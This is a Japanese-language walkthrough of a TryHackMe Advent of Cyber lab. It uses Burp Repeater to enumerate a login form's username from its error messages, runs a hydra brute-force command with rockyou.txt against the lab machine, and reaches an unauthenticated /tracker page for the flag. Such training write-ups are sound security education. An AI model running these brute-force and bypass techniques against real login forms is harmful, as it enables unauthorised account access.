[TryHackMe] Advent of Cyber 2, Day 3 - Walkthrough -


本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 3] Web Exploitation: A Christmas Crisis

ストーリー

エルフ・McSkidyが廊下を歩いていると、かすかにピピッという音が聞こえてきます。ビー... ビー... ビー... McSkidyが「そりのエンジニアリングルーム」に近づくにつれ、かすかな音がどんどん大きくなります。ビー... ビー... ビー... 明らかに何かがおかしい! McSkidyが部屋に駆け寄り、ドアをバタンと開け、「サンタさんのそりの制御パネル」が赤いエラーメッセージで点灯しているのを確認します。「サンタさんのそり! ハッキングされました。 警告! 警告!」 彼はエルフのセキュリティコマンドセンターへ戻りオペレーションを実行するように叫びます。

McSkidyと彼のチームが「サンタのそり」のハッキングに対して制御を取り戻す作業を手伝ってくれませんか。

Day 3 - #1.

Deploy your AttackBox (the blue "Start AttackBox" button) and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open Firefox on the AttackBox and copy/paste the machines IP into the browser search bar.

まずは、Santa Sleigh Trackerにアクセスします。[Deploy]ボタンをクリックします。
ブラウザにて割り振られたIPアドレスにアクセスします。Santa Sleigh Trackerのログイン画面が表示されます。

Day 3 - #2.

What is the flag?

BurpSuiteを使用し、Santa Sleigh Trackerのログインフォームへブルートフォース攻撃をしかけます。デフォルトの資格情報には、次のリストを使用してください。

ユーザー名 パスワード
root root
admin password
user 12345

ブルートフォース攻撃の詳細な手順については、「ログインフォームに対するブルートフォース(総当たり)攻撃によるパスワード解析」記事をご確認ください。

Santa Sleigh Trackerへログインする際のPOSTリクエストを記録します。
ここでは、ユーザー名root、パスワードrootにてログインを試してみます。

POST /login HTTP/1.1
Host: 10.10.236.126
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.236.126/?login=username_incorrect
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Upgrade-Insecure-Requests: 1

username=root&password=root

右クリックし、[Send to Responder](または、Ctrl + R)を選択します。[Repeater]タブに遷移します。
[Send]ボタンをクリックします。

「ユーザー名が正しくありません(/?login=username_incorrect)」と表示されています。

<p>
    Found. Redirecting to <a href="/?login=username_incorrect">/?login=username_incorrect</a>
</p>

username=admin&password=rootに変更し、[Send]ボタンをクリックします。

「パスワードが正しくありません(/?login=password_incorrect)」と変化しました。これで、ユーザー名は特定できました。

<p>
    Found. Redirecting to <a href="/?login=password_incorrect">/?login=password_incorrect</a>
</p>

同様にpassword=パラメータも変えていきます。
username=admin&password=12345に変更し、[Send]ボタンをクリックします。

<p>
    Found. Redirecting to <a href="/tracker">/tracker</a>
</p>

どうやら、ログインアカウントはadmin:12345だったようです。

別解: hydra を使用したブルートフォース攻撃

ここでは、Burpにて取得したパラメータの値を元に、hydraを使用してブルートフォース攻撃を行う方法を検討します。

取得すべき項目 取得した値
ウェブサイトのIPアドレス 10.10.236.126
URL /login
フォームの種類 http-post-form
ユーザー名を含むフィールド username=
パスワードを含むフィールド password=
失敗メッセージ password_incorrect
kali@kali:~/OffsecVM$ hydra -l admin -P rockyou.txt 10.10.236.126 http-post-form "/login:username=^USER^&password=^PASS^:F=password_incorrect"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-04 01:38:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.236.126:80/login:username=^USER^&password=^PASS^:F=password_incorrect
[80][http-post-form] host: 10.10.236.126   login: admin   password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-04 01:38:37

Santa Sleigh Trackerアプリにログイン

/trackerページへリダイレクトするのみの設定です。すなわち、パスワード認証すらなくSanta Sleigh Trackerへアクセスすることができそうです。

ブラウザで次のURLへアクセスします。

http://YOUR_IP_ADDRESS/tracker

ページの末尾にフラグが表示されています。
これにて、 Santa Sleigh Trackerアプリケーションのログインに成功しました。

3日目のミッションが終了です。

参考になるTryHackMeのルーム

参考情報

Walkthrough